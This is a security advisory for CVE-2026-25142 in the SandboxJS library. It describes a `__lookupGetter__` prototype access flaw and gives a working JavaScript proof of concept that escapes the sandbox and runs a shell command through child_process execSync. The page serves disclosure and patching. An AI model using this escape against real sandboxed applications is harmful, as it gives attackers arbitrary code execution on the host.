SandboxJS Vulnerable to Prototype Pollution -> Sandbox Escape -> RCE
### Summary SandboxJS does not properly restrict `__lookupGetter__` which can be used to obtain prototypes, which can be used for escaping the sandbox / remote code execution. ### Details https://github.com/nyariv/SandboxJS/blob/f212a38fb5a6d4bc2bc2e2466c0c011ce8d41072/src/executor.ts#L368-L398 The Object prototype which contains `__lookupGetter__` is properly protected, but the special case for accessing function properties bypasses the prototype chain checks including the root Object prototype. ### PoC ```js const s = require("@nyariv/sandboxjs").default; const sb = new s(); payload = ` let getProto = Object.toString.__lookupGetter__("__proto__") let m = getProto.call(new Map()); m.has = isFinite; console.log( isFinite.constructor( "return process.getBuiltinModule('child_process').execSync('ls -lah').toString()", )(), );` sb.compile(payload)().run(); ``` ### Impact Prototype Pollution -> RCE
describes (1)
Related CVEs.
| ID | severity | exploitable | ||
|---|---|---|---|---|
| CVE-2026-25142US | — | — | ||
SandboxJS is a JavaScript sandboxing library. Prior to 0.8.27, SanboxJS does not properly restrict __lookupGetter__ which can be used to obtain prototypes, which can be used for es… | ||||
references
External citations — patches, advisories, analysis.
- https://github.com/nyariv/SandboxJSPACKAGE
- https://github.com/nyariv/SandboxJS/blob/f212a38fb5a6d4bc2bc2e2466c0c011ce8d41072/src/executor.ts#L368-L398WEB
- https://github.com/nyariv/SandboxJS/commit/75c8009db32e6829b0ad92ca13bf458178442bd3WEB
- https://github.com/nyariv/SandboxJS/security/advisories/GHSA-9p4w-fq8m-2hp7WEB
- https://nvd.nist.gov/vuln/detail/CVE-2026-25142ADVISORY
Advisories like this name the exposed products attackers go after on your perimeter. See what is exposed on your perimeter with a free passive scan.
Free scan